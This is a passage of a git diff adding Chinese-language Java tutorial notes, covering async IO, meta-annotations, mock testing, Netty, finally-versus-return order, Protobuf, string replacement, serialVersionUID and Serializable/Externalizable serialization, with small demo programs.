-异步IO模型是比较理想的IO模型,在异步IO模型中,当用户线程发起read操作之后,立刻就可以开始去做其它的事。而另一方面,从内核的角度,当它受到一个asynchronous read之后,它会立刻返回,说明read请求已经成功发起了,因此不会对用户线程产生任何block。然后,内核会等待数据准备完成,然后将数据拷贝到用户线程,当这一切都完成之后,内核会给用户线程发送一个信号,告诉它read操作完成了。也就说用户线程完全不需要实际的整个IO操作是如何进行的,只需要先发起一个请求,当接收内核返回的成功信号时表示IO操作已经完成,可以直接去使用数据了。
+异步IO模型是比较理想的IO模型,在异步IO模型中,当用户线程发起read操作之后,立刻就可以开始去做其它的事。而另一方面,从内核的角度,当它受到一个asynchronous read之后,它会立刻返回,说明read请求已经成功发起了,因此不会对用户线程产生任何block。然后,内核会等待数据准备完成,然后将数据拷贝到用户线程,当这一切都完成之后,内核会给用户线程发送一个信号,告诉它read操作完成了。也就说用户线程完全不需要知道实际的整个IO操作是如何进行的,只需要先发起一个请求,当接收内核返回的成功信号时表示IO操作已经完成,可以直接去使用数据了。
-也就说在异步IO模型中,IO操作的两个阶段都不会阻塞用户线程,这两个阶段都是由内核自动完成,然后发送一个信号告知用户线程操作已完成。用户线程中不需要再次调用IO函数进行具体的读写。这点是和信号驱动模型有所不同的,在信号驱动模型中,当用户线程接收到信号表示数据已经就绪,然后需要用户线程调用IO函数进行实际的读写操作;而在异步IO模型中,收到信号表示IO操作已经完成,不需要再在用户线程中调用iO函数进行实际的读写操作。
+也就说在异步IO模型中,IO操作的两个阶段都不会阻塞用户线程,这两个阶段都是由内核自动完成,然后发送一个信号告知用户线程操作已完成。用户线程中不需要再次调用IO函数进行具体的读写。这点是和信号驱动模型有所不同的,在信号驱动模型中,当用户线程接收到信号表示数据已经就绪,然后需要用户线程调用IO函数进行实际的读写操作;而在异步IO模型中,收到信号表示IO操作已经完成,不需要再在用户线程中调用IO函数进行实际的读写操作。
注意,异步IO是需要操作系统的底层支持,在Java 7中,提供了Asynchronous IO。
-前面四种IO模型实际上都属于同步IO,只有最后一种是真正的异步IO,因为无论是多路复用IO还是信号驱动模型,IO操作的第2个阶段都会引起用户线程阻塞,也就是内核进行数据拷贝的过程都会让用户线程阻塞。
\ No newline at end of file
+前面四种IO模型实际上都属于同步IO,只有最后一种是真正的异步IO,因为无论是多路复用IO还是信号驱动模型,IO操作的第2个阶段都会引起用户线程阻塞,也就是内核进行数据拷贝的过程都会让用户线程阻塞。
diff --git a/docs/basics/java-basic/meta-annotation.md b/docs/basics/java-basic/meta-annotation.md
new file mode 100644
index 00000000..310eddde
--- /dev/null
+++ b/docs/basics/java-basic/meta-annotation.md
@@ -0,0 +1,15 @@
+说简单点,就是 定义其他注解的注解 。
+比如Override这个注解,就不是一个元注解。而是通过元注解定义出来的。
+
+ @Target(ElementType.METHOD)
+ @Retention(RetentionPolicy.SOURCE)
+ public @interface Override {
+ }
+
+这里面的
+@Target
+@Retention
+就是元注解。
+
+元注解有六个:@Target(表示该注解可以用于什么地方)、@Retention(表示再什么级别保存该注解信息)、@Documented(将此注解包含再javadoc中)、@Inherited(允许子类继承父类中的注解)、@Repeatable(1.8新增,允许一个注解在一个元素上使用多次)、@Native(1.8新增,修饰成员变量,表示这个变量可以被本地代码引用,常常被代码生成工具使用)。
+
diff --git a/docs/basics/java-basic/mock.md b/docs/basics/java-basic/mock.md
new file mode 100644
index 00000000..073323f2
--- /dev/null
+++ b/docs/basics/java-basic/mock.md
@@ -0,0 +1,43 @@
+碰撞测试是汽车开发活动中的重要组成部分。所有汽车在上市之前都要经过碰撞测试,并公布测试结果。碰撞测试的目的用于评定运输包装件在运输过程中承受多次重复性机械碰撞的耐冲击强度及包装对内装物的保护能力。说简单点就是为了测试汽车在碰撞的时候锁所产生的自身损伤、对车内人员及车外人员、物品等的损伤情况。
+
+ 在进行汽车的碰撞测试时,当然不能让真人来进行测试,一般采用假人来测试。但是为了保证测试的真实性及可靠性,假人的生物力学性能应该和人体一样——比如身体各部分的大小和质量,以及关节的刚性等等,只有这样使用它们的模拟才能和现实相匹配。为了保证覆盖到的情况够全面,一般都会使用各种不同的假人,不同的假人模拟男性或者女性的身体,以及不同身高和年龄的人体。
+
+想想软件测试,其实和汽车的碰撞测试流程差不多。一个软件在发布上线之前都要经过各种测试,并产出测试报告,更严格的一点的要保证单测覆盖率不能低于某个值。和汽车碰撞测试类似,我们在软件测试中也会用到很多“假人”。用这些“假人”的目的也是为了保证测试有效的进行。
+
+* * *
+
+### why
+
+不知道你在日常开发中有没有遇到过以下问题或需求:
+
+1、和别人一起做同一个项目,相互之间已经约定好接口。然后你开始开发,开发完自己的代码后,你想测试下你的服务实现逻辑是否正确。但是因为你依赖的只是接口,真正的服务还有开发出来。
+
+2、还是和上面类似的场景,你要依赖的服务是通过RPC的方式调用的,而外部服务的稳定性很难保证。
+
+3、对于一个接口或者方法,你希望测试其各种不同情况,但是依赖的服务的执行策略及返回值你没办法决定。
+
+4、你依赖的服务或者对象很难创建!(比如具体的web容器)
+
+5、依赖的对象的某些行为很难触发!(比如网络异常)
+
+6、以上问题你都没有,但是你要用的那个服务他处理速度实在是太慢了。
+
+上面这些情况都是日常开发测试过程中可能遇到的比较麻烦的问题。这些问题都会大大的提高测试成本。可以说,很多开发人员不愿意写单元测试很大程度上都和以上这六点有关系。
+
+幸运的是,Mock对象可以解决以上问题。使用mock对象进行的测试就是mock测试。
+
+### what
+
+mock测试就是在测试过程中,对于某些不容易构造或者不容易获取的对象,用一个虚拟的对象来创建以便测试的测试方法。
+
+mock对象,就是非真实对象,是模拟出来的一个对象。可以理解为汽车碰撞测试的那个假人。mock对象就是真实对象在调试期间的代替品。
+
+
+
+你创建这样一个“假人”的成本比较低,这个“假人”可以按照你设定的“剧情”来运行。
+
+在Java的单元测试中,很多Mock框架可以使用,用的比较多的有easymock、mockito、powermock、jmockit等。
+
+面向对象开发中,我们通常定义一个接口,使用一个接口来描述这个对象。在被测试代码中只是通过接口来引用对象,所以它不知道这个引用的对象是真实对象,还是mock对象。
+
+好了,这篇文章的内容差不多就这些了,主要是让大家知道,在Java中可以使用mock对象来模拟真实对象来进行单元测试,好处很多。下一篇会详细介绍如何使用mockito框架进行单元测试。
\ No newline at end of file
diff --git a/docs/basics/java-basic/netty.md b/docs/basics/java-basic/netty.md
new file mode 100644
index 00000000..29187070
--- /dev/null
+++ b/docs/basics/java-basic/netty.md
@@ -0,0 +1,14 @@
+Netty是一个非阻塞I/O客户端-服务器框架,主要用于开发Java网络应用程序,如协议服务器和客户端。异步事件驱动的网络应用程序框架和工具用于简化网络编程,例如TCP和UDP套接字服务器。Netty包括了反应器编程模式的实现。Netty最初由JBoss开发,现在由Netty项目社区开发和维护。
+
+
+除了作为异步网络应用程序框架,Netty还包括了对HTTP、HTTP2、DNS及其他协议的支持,涵盖了在Servlet容器内运行的能力、对WebSockets的支持、与Google Protocol Buffers的集成、对SSL/TLS的支持以及对用于SPDY协议和消息压缩的支持。自2004年以来,Netty一直在被积极开发
+
+从版本4.0.0开始,Netty在支持NIO和阻塞Java套接字的同时,还支持使用NIO.2作为后端。
+
+
+本质:JBoss做的一个Jar包
+
+目的:快速开发高性能、高可靠性的网络服务器和客户端程序
+
+优点:提供异步的、事件驱动的网络应用程序框架和工具
+
diff --git a/docs/basics/java-basic/order-about-finllly-return.md b/docs/basics/java-basic/order-about-finllly-return.md
new file mode 100644
index 00000000..a64a13ac
--- /dev/null
+++ b/docs/basics/java-basic/order-about-finllly-return.md
@@ -0,0 +1,33 @@
+
+
+ `try()` ⾥⾯有⼀个`return`语句, 那么后⾯的`finally{}`⾥⾯的code会不会被执⾏, 什么时候执⾏, 是在`return`前还是`return`后?
+
+
+如果try中有return语句, 那么finally中的代码还是会执⾏。因为return表⽰的是要整个⽅法体返回, 所以,finally中的语句会在return之前执⾏。
+
+但是return前执行的finally块内,对数据的修改效果对于引用类型和值类型会不同
+
+```java
+// 测试 修改值类型
+static int f() {
+ int ret = 0;
+ try {
+ return ret; // 返回 0,finally内的修改效果不起作用
+ } finally {
+ ret++;
+ System.out.println("finally执行");
+ }
+}
+
+// 测试 修改引用类型
+static int[] f2(){
+ int[] ret = new int[]{0};
+ try {
+ return ret; // 返回 [1],finally内的修改效果起了作用
+ } finally {
+ ret[0]++;
+ System.out.println("finally执行");
+ }
+}
+```
+
diff --git a/docs/basics/java-basic/protobuf.md b/docs/basics/java-basic/protobuf.md
new file mode 100644
index 00000000..170b140d
--- /dev/null
+++ b/docs/basics/java-basic/protobuf.md
@@ -0,0 +1,9 @@
+
+Protocol Buffer (简称Protobuf) 是Google出品的性能优异、跨语言、跨平台的序列化库。
+
+2001年初,Protobuf首先在Google内部创建, 我们把它称之为 proto1,一直以来在Google的内部使用,其中也不断的演化,根据使用者的需求也添加很多新的功能,一些内部库依赖它。几乎每个Google的开发者都会使用到它。
+
+Google开始开源它的内部项目时,因为依赖的关系,他们决定首先把Protobuf开源出去。
+
+目前Protobuf的稳定版本是3.9.2,于2019年9月23日发布。由于很多公司很早的就采用了Protobuf,很多项目还在使用proto2协议,目前是proto2和proto3同时在使用的状态。
+
diff --git a/basics/java-basic/reflection.md b/docs/basics/java-basic/reflection.md
similarity index 100%
rename from basics/java-basic/reflection.md
rename to docs/basics/java-basic/reflection.md
diff --git a/docs/basics/java-basic/replace-in-string.md b/docs/basics/java-basic/replace-in-string.md
new file mode 100644
index 00000000..9c9b31cc
--- /dev/null
+++ b/docs/basics/java-basic/replace-in-string.md
@@ -0,0 +1,28 @@
+replace、replaceAll和replaceFirst是Java中常用的替换字符的方法,它们的方法定义是:
+
+replace(CharSequence target, CharSequence replacement) ,用replacement替换所有的target,两个参数都是字符串。
+
+replaceAll(String regex, String replacement) ,用replacement替换所有的regex匹配项,regex很明显是个正则表达式,replacement是字符串。
+
+replaceFirst(String regex, String replacement) ,基本和replaceAll相同,区别是只替换第一个匹配项。
+
+可以看到,其中replaceAll以及replaceFirst是和正则表达式有关的,而replace和正则表达式无关。
+
+replaceAll和replaceFirst的区别主要是替换的内容不同,replaceAll是替换所有匹配的字符,而replaceFirst()仅替换第一次出现的字符
+
+### 用法例子
+
+ String string = "abc123adb23456aa";
+ System.out.println(string);//abc123adb23456aa
+
+ //使用replace将a替换成H
+ System.out.println(string.replace("a","H"));//Hbc123Hdb23456HH
+ //使用replaceFirst将第一个a替换成H
+ System.out.println(string.replaceFirst("a","H"));//Hbc123adb23456aa
+ //使用replace将a替换成H
+ System.out.println(string.replaceAll("a","H"));//Hbc123Hdb23456HH
+
+ //使用replaceFirst将第一个数字替换成H
+ System.out.println(string.replaceFirst("\\d","H"));//abcH23adb23456aa
+ //使用replaceAll将所有数字替换成H
+ System.out.println(string.replaceAll("\\d","H"));//abcHHHadbHHHHHaa
\ No newline at end of file
diff --git a/docs/basics/java-basic/serialVersionUID-modify.md b/docs/basics/java-basic/serialVersionUID-modify.md
new file mode 100644
index 00000000..6b1e26ac
--- /dev/null
+++ b/docs/basics/java-basic/serialVersionUID-modify.md
@@ -0,0 +1,278 @@
+关于`serialVersionUID` 。这个字段到底有什么用?如果不设置会怎么样?为什么《阿里巴巴Java开发手册》中有以下规定:
+
+![-w934][4]
+
+### 背景知识
+
+**Serializable 和 Externalizable**
+
+类通过实现 `java.io.Serializable` 接口以启用其序列化功能。**未实现此接口的类将无法进行序列化或反序列化。**可序列化类的所有子类型本身都是可序列化的。
+
+如果读者看过`Serializable`的源码,就会发现,他只是一个空的接口,里面什么东西都没有。**Serializable接口没有方法或字段,仅用于标识可序列化的语义。**但是,如果一个类没有实现这个接口,想要被序列化的话,就会抛出`java.io.NotSerializableException`异常。
+
+它是怎么保证只有实现了该接口的方法才能进行序列化与反序列化的呢?
+
+原因是在执行序列化的过程中,会执行到以下代码:
+
+ if (obj instanceof String) {
+ writeString((String) obj, unshared);
+ } else if (cl.isArray()) {
+ writeArray(obj, desc, unshared);
+ } else if (obj instanceof Enum) {
+ writeEnum((Enum>) obj, desc, unshared);
+ } else if (obj instanceof Serializable) {
+ writeOrdinaryObject(obj, desc, unshared);
+ } else {
+ if (extendedDebugInfo) {
+ throw new NotSerializableException(
+ cl.getName() + "\n" + debugInfoStack.toString());
+ } else {
+ throw new NotSerializableException(cl.getName());
+ }
+ }
+
+
+在进行序列化操作时,会判断要被序列化的类是否是`Enum`、`Array`和`Serializable`类型,如果都不是则直接抛出`NotSerializableException`。
+
+Java中还提供了`Externalizable`接口,也可以实现它来提供序列化能力。
+
+`Externalizable`继承自`Serializable`,该接口中定义了两个抽象方法:`writeExternal()`与`readExternal()`。
+
+当使用`Externalizable`接口来进行序列化与反序列化的时候需要开发人员重写`writeExternal()`与`readExternal()`方法。否则所有变量的值都会变成默认值。
+
+**transient**
+
+`transient` 关键字的作用是控制变量的序列化,在变量声明前加上该关键字,可以阻止该变量被序列化到文件中,在被反序列化后,`transient` 变量的值被设为初始值,如 int 型的是 0,对象型的是 null。
+
+**自定义序列化策略**
+
+在序列化过程中,如果被序列化的类中定义了`writeObject` 和 `readObject` 方法,虚拟机会试图调用对象类里的 `writeObject` 和 `readObject` 方法,进行用户自定义的序列化和反序列化。
+
+如果没有这样的方法,则默认调用是 `ObjectOutputStream` 的 `defaultWriteObject` 方法以及 `ObjectInputStream` 的 `defaultReadObject` 方法。
+
+用户自定义的 `writeObject` 和 `readObject` 方法可以允许用户控制序列化的过程,比如可以在序列化的过程中动态改变序列化的数值。
+
+所以,对于一些特殊字段需要定义序列化的策略的时候,可以考虑使用transient修饰,并自己重写`writeObject` 和 `readObject` 方法,如`java.util.ArrayList`中就有这样的实现。
+
+我们随便找几个Java中实现了序列化接口的类,如String、Integer等,我们可以发现一个细节,那就是这些类除了实现了`Serializable`外,还定义了一个`serialVersionUID` ![][5]
+
+那么,到底什么是`serialVersionUID`呢?为什么要设置这样一个字段呢?
+
+### 什么是serialVersionUID
+
+序列化是将对象的状态信息转换为可存储或传输的形式的过程。我们都知道,Java对象是保存在JVM的堆内存中的,也就是说,如果JVM堆不存在了,那么对象也就跟着消失了。
+
+而序列化提供了一种方案,可以让你在即使JVM停机的情况下也能把对象保存下来的方案。就像我们平时用的U盘一样。把Java对象序列化成可存储或传输的形式(如二进制流),比如保存在文件中。这样,当再次需要这个对象的时候,从文件中读取出二进制流,再从二进制流中反序列化出对象。
+
+虚拟机是否允许反序列化,不仅取决于类路径和功能代码是否一致,一个非常重要的一点是两个类的序列化 ID 是否一致,这个所谓的序列化ID,就是我们在代码中定义的`serialVersionUID`。
+
+### 如果serialVersionUID变了会怎样
+
+我们举个例子吧,看看如果`serialVersionUID`被修改了会发生什么?
+
+ public class SerializableDemo1 {
+ public static void main(String[] args) {
+ //Initializes The Object
+ User1 user = new User1();
+ user.setName("hollis");
+ //Write Obj to File
+ ObjectOutputStream oos = null;
+ try {
+ oos = new ObjectOutputStream(new FileOutputStream("tempFile"));
+ oos.writeObject(user);
+ } catch (IOException e) {
+ e.printStackTrace();
+ } finally {
+ IOUtils.closeQuietly(oos);
+ }
+ }
+ }
+
+ class User1 implements Serializable {
+ private static final long serialVersionUID = 1L;
+ private String name;
+ public String getName() {
+ return name;
+ }
+ public void setName(String name) {
+ this.name = name;
+ }
+ }
+
+
+我们先执行以上代码,把一个User1对象写入到文件中。然后我们修改一下User1类,把`serialVersionUID`的值改为`2L`。
+
+ class User1 implements Serializable {
+ private static final long serialVersionUID = 2L;
+ private String name;
+ public String getName() {
+ return name;
+ }
+ public void setName(String name) {
+ this.name = name;
+ }
+ }
+
+
+然后执行以下代码,把文件中的对象反序列化出来:
+
+ public class SerializableDemo2 {
+ public static void main(String[] args) {
+ //Read Obj from File
+ File file = new File("tempFile");
+ ObjectInputStream ois = null;
+ try {
+ ois = new ObjectInputStream(new FileInputStream(file));
+ User1 newUser = (User1) ois.readObject();
+ System.out.println(newUser);
+ } catch (IOException e) {
+ e.printStackTrace();
+ } catch (ClassNotFoundException e) {
+ e.printStackTrace();
+ } finally {
+ IOUtils.closeQuietly(ois);
+ try {
+ FileUtils.forceDelete(file);
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+ }
+ }
+
+
+执行结果如下:
+
+ java.io.InvalidClassException: com.hollis.User1; local class incompatible: stream classdesc serialVersionUID = 1, local class serialVersionUID = 2
+
+
+可以发现,以上代码抛出了一个`java.io.InvalidClassException`,并且指出`serialVersionUID`不一致。
+
+这是因为,在进行反序列化时,JVM会把传来的字节流中的`serialVersionUID`与本地相应实体类的`serialVersionUID`进行比较,如果相同就认为是一致的,可以进行反序列化,否则就会出现序列化版本不一致的异常,即是`InvalidCastException`。
+
+这也是《阿里巴巴Java开发手册》中规定,在兼容性升级中,在修改类的时候,不要修改`serialVersionUID`的原因。**除非是完全不兼容的两个版本**。所以,**`serialVersionUID`其实是验证版本一致性的。**
+
+如果读者感兴趣,可以把各个版本的JDK代码都拿出来看一下,那些向下兼容的类的`serialVersionUID`是没有变化过的。比如String类的`serialVersionUID`一直都是`-6849794470754667710L`。
+
+但是,作者认为,这个规范其实还可以再严格一些,那就是规定:
+
+如果一个类实现了`Serializable`接口,就必须手动添加一个`private static final long serialVersionUID`变量,并且设置初始值。
+
+### 为什么要明确定一个serialVersionUID
+
+如果我们没有在类中明确的定义一个`serialVersionUID`的话,看看会发生什么。
+
+尝试修改上面的demo代码,先使用以下类定义一个对象,该类中不定义`serialVersionUID`,将其写入文件。
+
+ class User1 implements Serializable {
+ private String name;
+ public String getName() {
+ return name;
+ }
+ public void setName(String name) {
+ this.name = name;
+ }
+ }
+
+
+然后我们修改User1类,向其中增加一个属性。在尝试将其从文件中读取出来,并进行反序列化。
+
+ class User1 implements Serializable {
+ private String name;
+ private int age;
+ public String getName() {
+ return name;
+ }
+ public void setName(String name) {
+ this.name = name;
+ }
+ public int getAge() {
+ return age;
+ }
+ public void setAge(int age) {
+ this.age = age;
+ }
+ }
+
+
+执行结果: `java.io.InvalidClassException: com.hollis.User1; local class incompatible: stream classdesc serialVersionUID = -2986778152837257883, local class serialVersionUID = 7961728318907695402`
+
+同样,抛出了`InvalidClassException`,并且指出两个`serialVersionUID`不同,分别是`-2986778152837257883`和`7961728318907695402`。
+
+从这里可以看出,系统自己添加了一个`serialVersionUID`。
+
+所以,一旦类实现了`Serializable`,就建议明确的定义一个`serialVersionUID`。不然在修改类的时候,就会发生异常。
+
+`serialVersionUID`有两种显示的生成方式:
+一是默认的1L,比如:`private static final long serialVersionUID = 1L;`
+二是根据类名、接口名、成员方法及属性等来生成一个64位的哈希字段,比如:
+`private static final long serialVersionUID = xxxxL;`
+
+后面这种方式,可以借助IDE生成,后面会介绍。
+
+### 背后原理
+
+知其然,要知其所以然,我们再来看看源码,分析一下为什么`serialVersionUID`改变的时候会抛异常?在没有明确定义的情况下,默认的`serialVersionUID`是怎么来的?
+
+为了简化代码量,反序列化的调用链如下:
+
+`ObjectInputStream.readObject -> readObject0 -> readOrdinaryObject -> readClassDesc -> readNonProxyDesc -> ObjectStreamClass.initNonProxy`
+
+在`initNonProxy`中 ,关键代码如下:
+
+![][6]
+
+在反序列化过程中,对`serialVersionUID`做了比较,如果发现不相等,则直接抛出异常。
+
+深入看一下`getSerialVersionUID`方法:
+
+ public long getSerialVersionUID() {
+ // REMIND: synchronize instead of relying on volatile?
+ if (suid == null) {
+ suid = AccessController.doPrivileged(
+ new PrivilegedAction() {
+ public Long run() {
+ return computeDefaultSUID(cl);
+ }
+ }
+ );
+ }
+ return suid.longValue();
+ }
+
+
+在没有定义`serialVersionUID`的时候,会调用`computeDefaultSUID` 方法,生成一个默认的`serialVersionUID`。
+
+这也就找到了以上两个问题的根源,其实是代码中做了严格的校验。
+
+### IDEA提示
+
+为了确保我们不会忘记定义`serialVersionUID`,可以调节一下Intellij IDEA的配置,在实现`Serializable`接口后,如果没定义`serialVersionUID`的话,IDEA(eclipse一样)会进行提示: ![][7]
+
+并且可以一键生成一个:
+
+![][8]
+
+当然,这个配置并不是默认生效的,需要手动到IDEA中设置一下:
+
+![][9]
+
+在图中标号3的地方(Serializable class without serialVersionUID的配置),打上勾,保存即可。
+
+### 总结
+
+`serialVersionUID`是用来验证版本一致性的。所以在做兼容性升级的时候,不要改变类中`serialVersionUID`的值。
+
+如果一个类实现了Serializable接口,一定要记得定义`serialVersionUID`,否则会发生异常。可以在IDE中通过设置,让他帮忙提示,并且可以一键快速生成一个`serialVersionUID`。
+
+之所以会发生异常,是因为反序列化过程中做了校验,并且如果没有明确定义的话,会根据类的属性自动生成一个。
+
+ [1]: http://www.hollischuang.com/archives/1150
+ [2]: http://www.hollischuang.com/archives/1140
+ [3]: http://www.hollischuang.com/archives/1144
+ [4]: http://www.hollischuang.com/wp-content/uploads/2018/12/15455608799770.jpg
+ [5]: http://www.hollischuang.com/wp-content/uploads/2018/12/15455622116411.jpg
+ [6]: http://www.hollischuang.com/wp-content/uploads/2018/12/15455655236269.jpg
+ [7]: http://www.hollischuang.com/wp-content/uploads/2018/12/15455657868672.jpg
+ [8]: http://www.hollischuang.com/wp-content/uploads/2018/12/15455658088098.jpg
+ [9]: http://www.hollischuang.com/wp-content/uploads/2018/12/15455659620042.jpg
\ No newline at end of file
diff --git a/docs/basics/java-basic/serialVersionUID.md b/docs/basics/java-basic/serialVersionUID.md
new file mode 100644
index 00000000..dc533181
--- /dev/null
+++ b/docs/basics/java-basic/serialVersionUID.md
@@ -0,0 +1,21 @@
+序列化是将对象的状态信息转换为可存储或传输的形式的过程。
+
+我们都知道, Java对象是保存在JVM的堆内存中的, 也就是说, 如果JVM堆不存在了, 那么对象也就跟着消失了。
+
+⽽序列化提供了⼀种⽅案, 可以让你在即使JVM停机的情况下也能把对象保存下来的⽅案。 就像我们平时⽤的U盘⼀样。 把Java对象序列化成可存储或传输的形式( 如⼆进制流) , ⽐如保存在⽂件中。 这样, 当再次需要这个对象的时候, 从⽂件中读取出⼆进制流, 再从⼆进制流中反序列化出对象。
+
+
+但是, 虚拟机是否允许反序列化, 不仅取决于类路径和功能代码是否⼀致, ⼀个⾮常重要的⼀点是两个类的序列化 ID 是否⼀致, 即`serialVersionUID`要求⼀致。
+
+
+在进⾏反序列化时, JVM会把传来的字节流中的`serialVersionUID`与本地相应实体类的`serialVersionUID`进⾏⽐较, 如果相同就认为是⼀致的, 可以进⾏反序列化, 否则就会出现序列化版本不⼀致的异常, 即是`InvalidCastException`。
+
+这样做是为了保证安全, 因为⽂件存储中的内容可能被篡改。
+
+
+当实现`java.io.Serializable`接口的类没有显式地定义⼀个`serialVersionUID`变量时候, Java序列化机制会根据编译的Class⾃动⽣成⼀个`serialVersionUID`作序列化版本⽐较⽤, 这种情况下, 如果Class⽂件没有发⽣变化, 就算再编译多
+次, serialVersionUID也不会变化的。
+
+但是, 如果发⽣了变化,那么这个⽂件对应的`serialVersionUID`也就会发⽣变化。
+
+基于以上原理, 如果我们⼀个类实现了Serializable接口, 但是没有定义`serialVersionUID`, 然后序列化。 在序列化之后, 由于某些原因, 我们对该类做了变更, 重新启动应⽤后, 我们相对之前序列化过的对象进⾏反序列化的话就会报错
\ No newline at end of file
diff --git a/docs/basics/java-basic/serialize-in-java.md b/docs/basics/java-basic/serialize-in-java.md
new file mode 100644
index 00000000..bf982c84
--- /dev/null
+++ b/docs/basics/java-basic/serialize-in-java.md
@@ -0,0 +1,340 @@
+
+## Java对象的序列化与反序列化
+
+在Java中,我们可以通过多种方式来创建对象,并且只要对象没有被回收我们都可以复用该对象。但是,我们创建出来的这些Java对象都是存在于JVM的堆内存中的。只有JVM处于运行状态的时候,这些对象才可能存在。一旦JVM停止运行,这些对象的状态也就随之而丢失了。
+
+但是在真实的应用场景中,我们需要将这些对象持久化下来,并且能够在需要的时候把对象重新读取出来。Java的对象序列化可以帮助我们实现该功能。
+
+对象序列化机制(object serialization)是Java语言内建的一种对象持久化方式,通过对象序列化,可以把对象的状态保存为字节数组,并且可以在有需要的时候将这个字节数组通过反序列化的方式再转换成对象。对象序列化可以很容易的在JVM中的活动对象和字节数组(流)之间进行转换。
+
+在Java中,对象的序列化与反序列化被广泛应用到RMI(远程方法调用)及网络传输中。
+
+## 相关接口及类
+
+Java为了方便开发人员将Java对象进行序列化及反序列化提供了一套方便的API来支持。其中包括以下接口和类:
+
+> java.io.Serializable
+>
+> java.io.Externalizable
+>
+> ObjectOutput
+>
+> ObjectInput
+>
+> ObjectOutputStream
+>
+> ObjectInputStream
+
+## Serializable 接口
+
+类通过实现 `java.io.Serializable` 接口以启用其序列化功能。未实现此接口的类将无法使其任何状态序列化或反序列化。可序列化类的所有子类型本身都是可序列化的。**序列化接口没有方法或字段,仅用于标识可序列化的语义。** ([该接口并没有方法和字段,为什么只有实现了该接口的类的对象才能被序列化呢?][1])
+
+当试图对一个对象进行序列化的时候,如果遇到不支持 Serializable 接口的对象。在此情况下,将抛出 `NotSerializableException`。
+
+如果要序列化的类有父类,要想同时将在父类中定义过的变量持久化下来,那么父类也应该集成`java.io.Serializable`接口。
+
+下面是一个实现了`java.io.Serializable`接口的类
+
+ package com.hollischaung.serialization.SerializableDemos;
+ import java.io.Serializable;
+ /**
+ * Created by hollis on 16/2/17.
+ * 实现Serializable接口
+ */
+ public class User1 implements Serializable {
+
+ private String name;
+ private int age;
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+
+ public int getAge() {
+ return age;
+ }
+
+ public void setAge(int age) {
+ this.age = age;
+ }
+
+ @Override
+ public String toString() {
+ return "User{" +
+ "name='" + name + '\'' +
+ ", age=" + age +
+ '}';
+ }
+ }
+
+
+通过下面的代码进行序列化及反序列化
+
+ package com.hollischaung.serialization.SerializableDemos;
+
+ import org.apache.commons.io.FileUtils;
+ import org.apache.commons.io.IOUtils;
+
+ import java.io.*;
+ /**
+ * Created by hollis on 16/2/17.
+ * SerializableDemo1 结合SerializableDemo2说明 一个类要想被序列化必须实现Serializable接口
+ */
+ public class SerializableDemo1 {
+
+ public static void main(String[] args) {
+ //Initializes The Object
+ User1 user = new User1();
+ user.setName("hollis");
+ user.setAge(23);
+ System.out.println(user);
+
+ //Write Obj to File
+ ObjectOutputStream oos = null;
+ try {
+ oos = new ObjectOutputStream(new FileOutputStream("tempFile"));
+ oos.writeObject(user);
+ } catch (IOException e) {
+ e.printStackTrace();
+ } finally {
+ IOUtils.closeQuietly(oos);
+ }
+
+ //Read Obj from File
+ File file = new File("tempFile");
+ ObjectInputStream ois = null;
+ try {
+ ois = new ObjectInputStream(new FileInputStream(file));
+ User1 newUser = (User1) ois.readObject();
+ System.out.println(newUser);
+ } catch (IOException e) {
+ e.printStackTrace();
+ } catch (ClassNotFoundException e) {
+ e.printStackTrace();
+ } finally {
+ IOUtils.closeQuietly(ois);
+ try {
+ FileUtils.forceDelete(file);
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+
+ }
+ }
+
+ //OutPut:
+ //User{name='hollis', age=23}
+ //User{name='hollis', age=23}
+
+
+
+## Externalizable接口
+
+除了Serializable 之外,java中还提供了另一个序列化接口`Externalizable`
+
+为了了解Externalizable接口和Serializable接口的区别,先来看代码,我们把上面的代码改成使用Externalizable的形式。
+
+ package com.hollischaung.serialization.ExternalizableDemos;
+
+ import java.io.Externalizable;
+ import java.io.IOException;
+ import java.io.ObjectInput;
+ import java.io.ObjectOutput;
+
+ /**
+ * Created by hollis on 16/2/17.
+ * 实现Externalizable接口
+ */
+ public class User1 implements Externalizable {
+
+ private String name;
+ private int age;
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+
+ public int getAge() {
+ return age;
+ }
+
+ public void setAge(int age) {
+ this.age = age;
+ }
+
+ public void writeExternal(ObjectOutput out) throws IOException {
+
+ }
+
+ public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
+
+ }
+
+ @Override
+ public String toString() {
+ return "User{" +
+ "name='" + name + '\'' +
+ ", age=" + age +
+ '}';
+ }
+ }
+
+
+
+
+ package com.hollischaung.serialization.ExternalizableDemos;
+
+ import java.io.*;
+
+ /**
+ * Created by hollis on 16/2/17.
+ */
+ public class ExternalizableDemo1 {
+
+ //为了便于理解和节省篇幅,忽略关闭流操作及删除文件操作。真正编码时千万不要忘记
+ //IOException直接抛出
+ public static void main(String[] args) throws IOException, ClassNotFoundException {
+ //Write Obj to file
+ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("tempFile"));
+ User1 user = new User1();
+ user.setName("hollis");
+ user.setAge(23);
+ oos.writeObject(user);
+ //Read Obj from file
+ File file = new File("tempFile");
+ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file));
+ User1 newInstance = (User1) ois.readObject();
+ //output
+ System.out.println(newInstance);
+ }
+ }
+ //OutPut:
+ //User{name='null', age=0}
+
+
+通过上面的实例可以发现,对User1类进行序列化及反序列化之后得到的对象的所有属性的值都变成了默认值。也就是说,之前的那个对象的状态并没有被持久化下来。这就是Externalizable接口和Serializable接口的区别:
+
+Externalizable继承了Serializable,该接口中定义了两个抽象方法:`writeExternal()`与`readExternal()`。当使用Externalizable接口来进行序列化与反序列化的时候需要开发人员重写`writeExternal()`与`readExternal()`方法。由于上面的代码中,并没有在这两个方法中定义序列化实现细节,所以输出的内容为空。还有一点值得注意:在使用Externalizable进行序列化的时候,在读取对象时,会调用被序列化类的无参构造器去创建一个新的对象,然后再将被保存对象的字段的值分别填充到新对象中。所以,实现Externalizable接口的类必须要提供一个public的无参的构造器。
+
+按照要求修改之后代码如下:
+
+ package com.hollischaung.serialization.ExternalizableDemos;
+
+ import java.io.Externalizable;
+ import java.io.IOException;
+ import java.io.ObjectInput;
+ import java.io.ObjectOutput;
+
+ /**
+ * Created by hollis on 16/2/17.
